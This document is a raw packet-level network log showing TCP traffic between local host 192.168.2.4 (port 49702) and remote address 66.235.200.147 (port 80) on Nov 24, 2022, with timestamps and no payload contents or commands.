Nov 24, 2022 13:27:53.204271078 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.204303980 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.204355955 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.204402924 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.204404116 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.204452038 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.204453945 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.204514980 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.204570055 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.204617977 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.204624891 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.204669952 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.204680920 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.204735041 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.204791069 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.204834938 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.204840899 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.204886913 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.204891920 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.204940081 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.204991102 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.205035925 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.205046892 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.205092907 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.205105066 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.205158949 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.205212116 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.205260038 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.205266953 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.205326080 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.205331087 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.205374002 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.205425024 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.205472946 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.205481052 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.205532074 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.205535889 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.205581903 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.205595016 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.205638885 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.205651045 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.205696106 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.205708981 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.205764055 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.205786943 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.205820084 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.205842018 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.205863953 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.205873966 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.205921888 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.205929041 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.205955982 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.205971003 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.205991983 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.205997944 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.206020117 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.206033945 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.206054926 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.206060886 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.206080914 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.206096888 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.206115007 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.206121922 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.206140041 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.206156015 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.206173897 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.206182957 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.206201077 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.206214905 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.206234932 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.206243992 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.206276894 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.206310034 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.206338882 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.206351042 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.206372023 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.206382036 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.206404924 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.206413031 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.206434965 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.206446886 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.206470013 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.206480026 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.206496954 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.206512928 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.206532001 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.206537962 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.206562042 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.206573963 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.206594944 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.206604004 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.206625938 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.206638098 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.206657887 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.206670046 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.206685066 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.206707954 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.206717014 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.206727028 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.206743002 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.206760883 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.206775904 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.206787109 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.206801891 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.206813097 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.206836939 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.206841946 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.206864119 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.206913948 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.206937075 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.206938028 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.206954956 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.206967115 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.206985950 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.206998110 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.207020998 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.207026005 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.207047939 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.207061052 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.207078934 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.207087040 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.207119942 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.207139969 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.207151890 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.207159996 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.207185030 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.207191944 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.207212925 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.207225084 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.207247972 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.207252026 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.207278013 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.207292080 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.207313061 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.207318068 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.207340956 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.207353115 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.207376003 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.207381010 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.207402945 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.207413912 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.207437038 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.207442045 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.207461119 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.207473993 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.207496881 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.207501888 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.207521915 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.207536936 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.207556963 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.207562923 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.207587957 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.207597971 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.207621098 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.207628012 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.207649946 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.207658052 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.207683086 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.207691908 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.207712889 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.207732916 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.207745075 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.207755089 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.207777977 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.207783937 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.207808971 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.207818031 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.207848072 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.207849026 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.207874060 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.207889080 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.207909107 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.207911968 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.207936049 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.207947016 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.207971096 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.207974911 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.208007097 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.208009005 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.208043098 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.208044052 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.208070993 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.208081007 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.208105087 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.208111048 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.208129883 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.208141088 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.208163023 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.208168983 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.208199978 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.208260059 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.208292961 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.208297968 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.208322048 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.208339930 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.208353043 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.208359957 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.208380938 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.208396912 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.208414078 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.208420038 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.208442926 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.208451986 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.208478928 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.208502054 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.208512068 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.208528996 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.208543062 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.208549976 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.208570957 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.208581924 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.208606005 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.208610058 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.208635092 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.208652020 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.208666086 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.208673000 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.208693027 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.208720922 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.208746910 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.208748102 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.208781004 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.208791018 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.208816051 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.208822966 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.208847046 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.208853006 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.208875895 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.208894014 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.208909988 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.208915949 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.208939075 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.208949089 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.208970070 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.209001064 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.209001064 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.209009886 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.209032059 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.209038973 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.209064007 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.209074020 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.209095955 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.209103107 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.209130049 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.209136009 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.209157944 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.209172010 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.209192991 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.209203959 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.209218979 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.209232092 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.209253073 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.209259987 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.209280014 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.209294081 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.209315062 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.209321976 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.209341049 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.209358931 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.209374905 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.209383011 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.209399939 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.209415913 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.209434986 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.209460974 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.209461927 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.209481955 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.209494114 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.209511042 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.209521055 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.209556103 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.209563017 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.209582090 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.209599972 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.209615946 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.209630013 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.209649086 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.209670067 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.209680080 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.209692955 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.209706068 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.209719896 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.209741116 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.209748030 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.209769964 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.209789991 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.209800959 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.209811926 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.209830046 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.209850073 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.209863901 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.209875107 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.209893942 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.209914923 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.209925890 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.209939957 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.209958076 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.209969997 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.209989071 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.210002899 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.210021973 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.210031033 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.210051060 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.210063934 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.210109949 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.210123062 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.210143089 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.210153103 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.210170984 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.210185051 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.210203886 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.210211992 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.210232019 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.210246086 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.210264921 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.210294962 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.210306883 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.210330963 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.210339069 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.210356951 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.210371017 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.210392952 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.210393906 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.210418940 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.210429907 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.210453033 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.210455894 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.210479975 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.210493088 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.210513115 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.210517883 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.210541010 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.210552931 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.210575104 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.210580111 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.210601091 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.210613012 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.210634947 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.210639954 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.210660934 CET	80	49702	66.235.200.147	192.168.2.4
